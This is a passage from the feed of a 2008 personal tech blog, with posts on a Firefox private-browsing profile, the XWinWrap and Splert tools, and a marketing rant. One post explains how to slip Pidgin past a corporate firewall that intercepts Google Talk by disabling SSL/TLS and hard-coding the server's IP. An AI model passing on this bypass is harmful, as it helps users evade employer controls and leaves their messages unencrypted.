&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Uncheck &amp;ldquo;Remember what I&amp;rsquo;ve downloaded&amp;rdquo;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Choose &amp;ldquo;Keep until I close firefox&amp;rdquo; for cookies&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Press advanced settings in &amp;ldquo;Private Data&amp;rdquo;, select unselect options according to your choice. For max protection, select everything.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open a new tab, and write &amp;ldquo;about:config&amp;rdquo; (without quotes) in address bar, press enter.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Search for &amp;ldquo;browser.cache.disk.enable&amp;rdquo; and set it to false&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Search for &amp;ldquo;browser.cache.offline.enable&amp;rdquo; and set it to false&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Done. You are secure and remember, this is just a one time setup, you won&amp;rsquo;t have to do this again and again.&lt;/p&gt;
&lt;p&gt;Side Note: Usability is another concern. However, I think that is debatable and varies from user to user highly. The steps lined up in these 2 posts aren&amp;rsquo;t too hard to carry out and take around a minute to do, and is a one time effort. Now, compare this with option where you use google chrome and love its in-built incognito mode but then have to leave all the extensions and greasemonkey scripts of firefox behind which made browsing so much more accessible for you. Another path could be to use both the browsers. Anyways, I&amp;rsquo;ll not go further down this path. This is for you to decide what you feel is more usable for you :) . This is just something to say &amp;ldquo;It&amp;rsquo;s not impossible&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;PS: If anyone is still curious about the ramdisk approach, let me know..&lt;/p&gt;</content></item><item><title>Firefox Incognito Mode Is Here: Move Over Chrome/IE8</title><link>https://shantanugoel.com/2008/09/10/firefox-incognito-mode-is-here-move-over-chromeie8/</link><pubDate>Wed, 10 Sep 2008 17:49:41 +0000</pubDate><guid>https://shantanugoel.com/2008/09/10/firefox-incognito-mode-is-here-move-over-chromeie8/</guid><description>&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Part 2 of this post is now up &lt;a href="https://shantanugoel.com/2008/09/11/firefox-incognito-private-browsing-mode-part-ii.html"&gt;here&lt;/a&gt; to allay some of the drawbacks that were pointed out.&lt;/p&gt;
&lt;p&gt;There has been so much hype over the “Incognito” (or Private Browsing) mode of Google Chrome / Microsoft IE8, with many internet users screeming Hallelujiah. But I don’t understand what the hoopla is all about. This mode has always been there in Mozilla firefox as well. You just need to devote less than one minute (yes, you read that right, less than one minute) to set it up. Well, actions are better than words, so here it goes:&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Part 2 of this post is now up &lt;a href="https://shantanugoel.com/2008/09/11/firefox-incognito-private-browsing-mode-part-ii.html"&gt;here&lt;/a&gt; to allay some of the drawbacks that were pointed out.&lt;/p&gt;
&lt;p&gt;There has been so much hype over the “Incognito” (or Private Browsing) mode of Google Chrome / Microsoft IE8, with many internet users screeming Hallelujiah. But I don’t understand what the hoopla is all about. This mode has always been there in Mozilla firefox as well. You just need to devote less than one minute (yes, you read that right, less than one minute) to set it up. Well, actions are better than words, so here it goes:&lt;/p&gt;
&lt;p&gt;Step 1.) Run the following command to start the firefox profile manager.(In Linux, press Alt+F2 and in Windows, press Win+R to bring up the run dialogue box)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;firefox -ProfileManager
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If it says something on the lines of “cannot find command” then use full path to firefox/firefox.exe in linux/Windows respectively.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/firefox_2Dprofile_2Dmanager.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/firefox_2Dprofile_2Dmanager_thumb.jpg" alt="Firefox-profile-manager"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Step 2.) Press “Create Profile” and enter “Incognito” (or a name of your choice) as your new profile name and press “Finish”.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/firefox_2Dprofile_2Dmanager2.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/firefox_2Dprofile_2Dmanager2_thumb.jpg" alt="Firefox-profile-manager2"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Step 3.) Select “Incognito” profile and press “Start Firefox”.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/firefox_2Dprofile_2Dmanager3.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/firefox_2Dprofile_2Dmanager3_thumb.jpg" alt="Firefox-profile-manager3"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Step 4.) Go to Edit-&amp;gt;Preferences-&amp;gt;Privacy. Select “Always clear my private data when I close Firefox” and unselect “Ask me before clearing private data”.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/firefox_2Dprivacy_2Dpreferences.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/firefox_2Dprivacy_2Dpreferences_thumb.jpg" alt="Firefox-privacy-preferences"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Step 5.) That’s it. Setup is done. Now, whenever you want to go undercover, run the following command&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;firefox -P Incognito -no-remote
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Note 1: You can run incognito mode and normal mode together simultaneously.&lt;/p&gt;
&lt;p&gt;Note 2: Its advised that you put the above command in a shortcut for easy/quick access.&lt;/p&gt;
&lt;p&gt;Isn’t that simple? Now, can you roll back that drool factor of being able to go “undercover” in google chrome or Internet Explorer 8?&lt;/p&gt;</content></item><item><title>Hack: Pidgin-Gtalk Connection Problems - Get Around The Corporate Firewall</title><link>https://shantanugoel.com/2008/09/08/hack-pidgin-gtalk-connection-problems-get-around-the-corporate-firewall/</link><pubDate>Mon, 08 Sep 2008 15:30:38 +0000</pubDate><guid>https://shantanugoel.com/2008/09/08/hack-pidgin-gtalk-connection-problems-get-around-the-corporate-firewall/</guid><description>&lt;p&gt;I recently wrote a simple answering machine program/plugin for pidgin and someone asked me to port it to 32 bit. So I fired up pidgin within my virtual box installation at work (as I have only a 64 bit machine at home) but couldn&amp;rsquo;t get it to connect. Tried all sorts of methods found over the net of changing ports etc, set port forwarding in Virtual Box NAT, even switched to using a bridged host interface but still no go. On a whim, installed pidgin in the host, i.e., windows and still the same issue. Hmm, interesting.. But wait, gtalk client works, then what gives.&lt;/p&gt;</description><content>&lt;p&gt;I recently wrote a simple answering machine program/plugin for pidgin and someone asked me to port it to 32 bit. So I fired up pidgin within my virtual box installation at work (as I have only a 64 bit machine at home) but couldn&amp;rsquo;t get it to connect. Tried all sorts of methods found over the net of changing ports etc, set port forwarding in Virtual Box NAT, even switched to using a bridged host interface but still no go. On a whim, installed pidgin in the host, i.e., windows and still the same issue. Hmm, interesting.. But wait, gtalk client works, then what gives.&lt;/p&gt;
&lt;p&gt;Well, after a bit of snooping around, discovered that it&amp;rsquo;s a special funda that my company employs (and probably yours too) to monitor your IM conversations. The server talk.google.com was redirected to another server set up by my company that masquerades as gtalk server and tries to act as a &amp;ldquo;Man In The Middle&amp;rdquo; to hijack your connection and listen to everything while you live in the fantasy that since its an &amp;ldquo;SSL encrypted&amp;rdquo; connection, everything is secure. However, &amp;ldquo;fortunately&amp;rdquo; pidgin refuses to connect here (More details in the end)&lt;/p&gt;
&lt;p&gt;But as they say, rules are meant to be bent and broken. Here, is a simple way 3-step procedure to circumvent around this.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Open up your gtalk account settings in pidgin and go to Advanced tab.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Check &amp;ldquo;Force old port&amp;rdquo;, uncheck &amp;ldquo;plaintext auth&amp;rdquo; and uncheck &amp;ldquo;Require SSL/TLS&amp;rdquo;. Also change &amp;ldquo;Connect port&amp;rdquo; to 443.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The &lt;strong&gt;main&lt;/strong&gt; part: Go to an online nslookup service and do an nslookup for talk.google.com. Put the IP that you get in place of &amp;ldquo;talk.google.com&amp;rdquo; in the settings.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That&amp;rsquo;s it. Go and chat away. (or if you want to know the reasoning behind this, hit the link below)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;More Details:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Skip this if you want, only for the people who are interested, here are some details on why pidgin does not connect in this situation and how you can find out if your company is using this tactic.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;How pidgin tries to connect to gtalk servers is that first it makes a connection to talk.google.com and gets and verifies the certificate from there. Then it tries to connect to gmail.com. Now there can be various situations:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;1.
1. Its unable to complete the transaction in the first place because you didn't use the port 443, so firewall blocks it hence it can't communand tries to fallback to plaintext authorization which is not supported by google and hence it fails.
2. You chose correct settings to go around firewall but now after verifying certificate, it just keeps &amp;quot;connecting&amp;quot;. Basically, it passes through the talk.google.com phase and then tries to connect to gmail.com (don't know why) and gets stuck on this step because the company is masquerading the gtalk server but not the gmail server.
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start="2"&gt;
&lt;li&gt;Look for the following symptoms to see if your company is doing &amp;ldquo;something&amp;rdquo;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;1.
1. Do &amp;quot;nslookup talk.google.com&amp;quot; in your command prompt (not through web), then say you get an IP x.y.z.w. Now do &amp;quot;nslookup x.y.z.w&amp;quot; again in command prompt. Now you will get the real name of the server that is your company's. Can try this for other IM servers as well (e.g. yahoo)
2. When pidgin asks you to verify the certificate, don't take it lightly. Just fetch and see the certificate and it'll definitely be pointing to some other domain.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Enough fundas for today. Let me know if this helped you out or if you have your own techniques of finding and circumventing around such stuff.&lt;/p&gt;</content></item><item><title>Apology For Bad Downloads</title><link>https://shantanugoel.com/2008/09/05/apology-for-bad-downloads/</link><pubDate>Fri, 05 Sep 2008 16:13:19 +0000</pubDate><guid>https://shantanugoel.com/2008/09/05/apology-for-bad-downloads/</guid><description>&lt;p&gt;Guys, for the past few days if you downloaded any &amp;ldquo;.tar.gz&amp;rdquo; packages from this site (like my splert or shantz-xwinwrap tools), then you&amp;rsquo;d have got a corrupt package. Turns out there was some issue with mime-types with my setup. I haven&amp;rsquo;t been able to resolve it still but have re-upped the packages in &amp;ldquo;zip&amp;rdquo; format. Please download them again. I apologize for the inconvenience.&lt;/p&gt;</description><content>&lt;p&gt;Guys, for the past few days if you downloaded any &amp;ldquo;.tar.gz&amp;rdquo; packages from this site (like my splert or shantz-xwinwrap tools), then you&amp;rsquo;d have got a corrupt package. Turns out there was some issue with mime-types with my setup. I haven&amp;rsquo;t been able to resolve it still but have re-upped the packages in &amp;ldquo;zip&amp;rdquo; format. Please download them again. I apologize for the inconvenience.&lt;/p&gt;</content></item><item><title>Shantz XWinWrap: The "Moving" Wallpaper Fun Continues</title><link>https://shantanugoel.com/2008/09/03/shantz-xwinwrap-the-moving-wallpaper-fun-continues/</link><pubDate>Wed, 03 Sep 2008 14:46:02 +0000</pubDate><guid>https://shantanugoel.com/2008/09/03/shantz-xwinwrap-the-moving-wallpaper-fun-continues/</guid><description>&lt;p&gt;XWinWrap is a small utility written a loooong time ago that allowed you to stick most of the apps to your desktop background (Thanks to &lt;a href="http://www.fsckin.com/2008/04/14/fun-with-xwinwrap-in-compiz-fusion/"&gt;fsckin&lt;/a&gt; for introducing me to it). What this meant was you could use an animated screensaver (like glmatrix, electric sheep, etc) or even a movie, and use it as your wallpaper. But only one version of this app was released, and it had a few problems, like it wasn&amp;rsquo;t exactly &amp;ldquo;sticking&amp;rdquo; to the background and geometry option didn&amp;rsquo;t work as well.&lt;/p&gt;</description><content>&lt;p&gt;XWinWrap is a small utility written a loooong time ago that allowed you to stick most of the apps to your desktop background (Thanks to &lt;a href="http://www.fsckin.com/2008/04/14/fun-with-xwinwrap-in-compiz-fusion/"&gt;fsckin&lt;/a&gt; for introducing me to it). What this meant was you could use an animated screensaver (like glmatrix, electric sheep, etc) or even a movie, and use it as your wallpaper. But only one version of this app was released, and it had a few problems, like it wasn&amp;rsquo;t exactly &amp;ldquo;sticking&amp;rdquo; to the background and geometry option didn&amp;rsquo;t work as well.&lt;/p&gt;
&lt;p&gt;Seeing no-one picking it up, I decided to give it a bit of polish last weekend by fixing the above problems and also add a few features.&lt;/p&gt;
&lt;p&gt;I hope to continue on the good work that was done by the original author and provide an even better xwinwrap to you all. Pour in those ideas about what features you&amp;rsquo;d like to see in this.&lt;/p&gt;</content></item><item><title>Shantz XWinWrap</title><link>https://shantanugoel.com/2008/09/03/shantz-xwinwrap/</link><pubDate>Wed, 03 Sep 2008 14:41:44 +0000</pubDate><guid>https://shantanugoel.com/2008/09/03/shantz-xwinwrap/</guid><description>&lt;p&gt;XWinWrap is a small utility written a loooong time ago that allowed you to stick most of the apps to your desktop background. What this meant was you could use an animated screensaver (like glmatrix, electric sheep, etc) or even a movie, and use it as your wallpaper. But only one version of this app was ever released, and it had a few problems, like:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Well, sticking didn&amp;rsquo;t work. So if you did a &amp;ldquo;minimize all&amp;rdquo; or &amp;ldquo;go to desktop&amp;rdquo; kind of thing, your &amp;ldquo;wallpaper&amp;rdquo; got minimized as well.&lt;/p&gt;</description><content>&lt;p&gt;XWinWrap is a small utility written a loooong time ago that allowed you to stick most of the apps to your desktop background. What this meant was you could use an animated screensaver (like glmatrix, electric sheep, etc) or even a movie, and use it as your wallpaper. But only one version of this app was ever released, and it had a few problems, like:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Well, sticking didn&amp;rsquo;t work. So if you did a &amp;ldquo;minimize all&amp;rdquo; or &amp;ldquo;go to desktop&amp;rdquo; kind of thing, your &amp;ldquo;wallpaper&amp;rdquo; got minimized as well.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The geometry option didn&amp;rsquo;t work, so you could not create, e.g., a small matrix window surrounded by your original wallpaper.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Seeing no-one picking it up, I decided to give it a bit of polish last weekend by fixing the above problems and also add a few features. And here it is, in its new avatar &amp;ldquo;Shantz XWinWrap&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Video:&lt;/strong&gt;&lt;/p&gt;
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;"&gt;
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/k8BCyhAHKSc?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Usage&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;Notes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The download file above contains 32 bit as well as 64 bit binaries. (Deb packages for ubuntu/debian are also included in the same file)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Though a lot of options are shown below, the only ones you&amp;rsquo;d most likely need are &amp;ldquo;fs&amp;rdquo;, &amp;ldquo;g&amp;rdquo;, &amp;ldquo;ov&amp;rdquo; and &amp;ldquo;sh&amp;rdquo;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The modified source code can be browsed/downloaded from the &lt;a href="https://launchpad.net/xwinwrap"&gt;Shantz XWinWrap Launchpad Bzr repository&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;xwinwrap [-g {w}x{h}+{x}+{y}] [-ni] [-argb] [-fs] [-s] [-st] [-sp] [-a] [-b] [-nf] [-o OPACITY] [-sh SHAPE] [-ov] -- COMMAND ARG1...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Options:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-g    - Specify Geometry (w=width, h=height, x=x-coord, y=y-coord. ex: -g 640x480+100+100)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-ni   - Ignore Input
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-d - Desktop Window Hack. Provide name of the &amp;#34;Desktop&amp;#34; window as parameter
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-argb - RGB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-fs   - Full Screen
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-s    - Sticky
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-st   - Skip Taskbar
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-sp   - Skip Pager
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-a    - Above
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-b    - Below
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-nf   - No Focus
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-o    - Opacity value between 0 to 1 (ex: -o 0.20)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-sh   - Shape of window (choose between rectangle, circle or triangle. Default is rectangle)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-ov   - Set override_redirect flag (For seamless desktop background integration)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-debug - Enable Debug messages
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Examples:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;(Examples use glmatrix however you can use something like mplayer, vlc, electric sheep etc instead of these)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To run glmatrix in fullscreen wallpaper mode&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./xwinwrap -ov -fs -- /usr/lib/xscreensaver/glmatrix -root -window-id WID
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;To run glmatrix in a small window wallpaper mode&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./xwinwrap -ov -g 400x400+400+200 -- /usr/lib/xscreensaver/glmatrix -root -window-id WID
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;To run glmatrix in small circle wallpaper mode&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./xwinwrap -ov -g 400x400+400+200 -sh circle -- /usr/lib/xscreensaver/glmatrix -root -window-id WID
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;To run glmatrix in small triangular wallpaper mode&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./xwinwrap -ov -g 400x400+400+200 -sh triangle -- /usr/lib/xscreensaver/glmatrix -root -window-id WID
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;ChangeLog:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;15-Feb-2009:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Fixed the bug where XFetchName returning a NULL for &amp;ldquo;name&amp;rdquo; resulted in a crash. Props to Kevin&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Provided an option to specify the desktop window name.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added Debug messages.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;18-Oct-2008:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Fixed a bug where the generated window overlapped other windows.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;28-Aug-2008:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Fixed &amp;ldquo;sticky&amp;rdquo;, now it sticks like a true wallpaper to your desktop.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fixed &amp;ldquo;geometry&amp;rdquo; option. Now you can create smaller windows and draw/position them anywhere on your screen.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added non-rectangular shaped windows option. Now, you can create circular or triangular windows with xwinwrap to get that cool effect.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;</content></item><item><title>Do They Really Know How To Sell Something In India?</title><link>https://shantanugoel.com/2008/08/26/do-they-really-know-how-to-sell-something-in-india/</link><pubDate>Tue, 26 Aug 2008 14:45:46 +0000</pubDate><guid>https://shantanugoel.com/2008/08/26/do-they-really-know-how-to-sell-something-in-india/</guid><description>&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: &lt;a href="http://www.mobileburn.com/news.jsp?Id=5176"&gt;UK Ad Authorities have declared iPhone ad as &amp;ldquo;misleading&amp;rdquo;.&lt;/a&gt; I guess then they should declare it plain fraud in India.&lt;/p&gt;
&lt;p&gt;This is a short rant about two of the &amp;ldquo;big&amp;rdquo; products launched recently in India in the last one week and how the people behind their sales/marketing teams either try to take the Indian customer for a ride, or shaft themselves.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;iPhone&lt;/strong&gt;: The big icon. Bharti Airtel/Vodafone claimed lakhs of pre-registrations, yet no one lined up to buy it. Anyways, to the point. The ads all over the print, digital and broadcast media in India list out 3 major points in one sentence:&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: &lt;a href="http://www.mobileburn.com/news.jsp?Id=5176"&gt;UK Ad Authorities have declared iPhone ad as &amp;ldquo;misleading&amp;rdquo;.&lt;/a&gt; I guess then they should declare it plain fraud in India.&lt;/p&gt;
&lt;p&gt;This is a short rant about two of the &amp;ldquo;big&amp;rdquo; products launched recently in India in the last one week and how the people behind their sales/marketing teams either try to take the Indian customer for a ride, or shaft themselves.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;iPhone&lt;/strong&gt;: The big icon. Bharti Airtel/Vodafone claimed lakhs of pre-registrations, yet no one lined up to buy it. Anyways, to the point. The ads all over the print, digital and broadcast media in India list out 3 major points in one sentence:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;1. **A 3G Phone:** My a$$. They haven't even finalized auction details for 3G spectrum in India yet.
2. **Desktop Class Browser:** Without Flash?
3. **Push E-mail:** Oh, the one that Apple already pulled the plug on?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anyways, even if this were to be true, nobody would have bought it for the steep price for something that hardly even performs properly as a phone.&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;BIG TV&lt;/strong&gt;: This is the &amp;ldquo;real&amp;rdquo; big one, from the stable of none other than Reliance/Anil Dhirubhai Ambani. Ok, it&amp;rsquo;s supposed to be good, very good. I checked out &lt;a href="http://bigtv.co.in"&gt;their website&lt;/a&gt; to see how good. What do I get?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;1. A flash only site. No fallback. Did they get it coded from a high-school flash junkie?
2. After 15 minutes of looking around clicking on 10s of links, going in circles, I'm still confused. What exactly are their packages. There are so many rates and offers floating around. Everything promising something different, but wait, not available for your region. There are so many channels, more than your current DTH, but one second, WHAT exactly are thos channels. No list? For all I care, they could be endless streams of Doordarshan and ETV regional ones. (Please repeat the question I asked in point 1 here again)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Makes me wonder, do they really want to sell anything or Anil just made this out for fun, having a roaring time watching realtime website logs seeing people getting stuck and frustrated in the maze.&lt;/p&gt;</content></item><item><title>Project: Splert - A Custom Answering Machine And More for IMs</title><link>https://shantanugoel.com/2008/08/18/project-splert-a-custom-answering-machine-and-more-for-ims/</link><pubDate>Mon, 18 Aug 2008 17:00:09 +0000</pubDate><guid>https://shantanugoel.com/2008/08/18/project-splert-a-custom-answering-machine-and-more-for-ims/</guid><description>&lt;p&gt;&lt;strong&gt;Update Aug 25 2008&lt;/strong&gt;: Updated to v0.02 and also added 32 bit package. Hit the link given below to download.&lt;/p&gt;
&lt;p&gt;You must have heard of (or used) the auto-reply features given by today&amp;rsquo;s instant messengers that are sent to the ones messaging you while you are not at your desk. But those are one-size-fits-all kind of messages. So, I wrote this simple tool a few months ago to turn Pidgin, everyone’s favourite multi-client Instant Messenger (works with gtalk, msn, yahoo, aim etc), into a &lt;strong&gt;customized answering machine (and more)&lt;/strong&gt; when you are away from your computer. Basically it allows you to divide up your contact list into groups based on email IDs and execute actions based on when someone from a particular group messages you while you are away. e.g. For general friends, you can keep a message like “Will talk to you later when I come back”, or if someone from office IMs you, it’ll send them your phone number “Call me at XXXXXX if urgent”. And if you boss is the one pinging you, you could direct the message towards your twitter account so that you get it as an SMS on your phone immediately.&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;Update Aug 25 2008&lt;/strong&gt;: Updated to v0.02 and also added 32 bit package. Hit the link given below to download.&lt;/p&gt;
&lt;p&gt;You must have heard of (or used) the auto-reply features given by today&amp;rsquo;s instant messengers that are sent to the ones messaging you while you are not at your desk. But those are one-size-fits-all kind of messages. So, I wrote this simple tool a few months ago to turn Pidgin, everyone’s favourite multi-client Instant Messenger (works with gtalk, msn, yahoo, aim etc), into a &lt;strong&gt;customized answering machine (and more)&lt;/strong&gt; when you are away from your computer. Basically it allows you to divide up your contact list into groups based on email IDs and execute actions based on when someone from a particular group messages you while you are away. e.g. For general friends, you can keep a message like “Will talk to you later when I come back”, or if someone from office IMs you, it’ll send them your phone number “Call me at XXXXXX if urgent”. And if you boss is the one pinging you, you could direct the message towards your twitter account so that you get it as an SMS on your phone immediately.&lt;/p&gt;</content></item><item><title>Splert: Shantz Pidgin Away Alerts</title><link>https://shantanugoel.com/2008/08/18/splert-shantz-pidgin-away-alerts/</link><pubDate>Mon, 18 Aug 2008 16:55:03 +0000</pubDate><guid>https://shantanugoel.com/2008/08/18/splert-shantz-pidgin-away-alerts/</guid><description>&lt;p&gt;This is a simple tool I wrote a few months ago to turn Pidgin, everyone’s favourite multi-client Instant Messenger (works with gtalk, msn, yahoo, aim etc), into a &lt;strong&gt;customized answering machine (and more)&lt;/strong&gt; 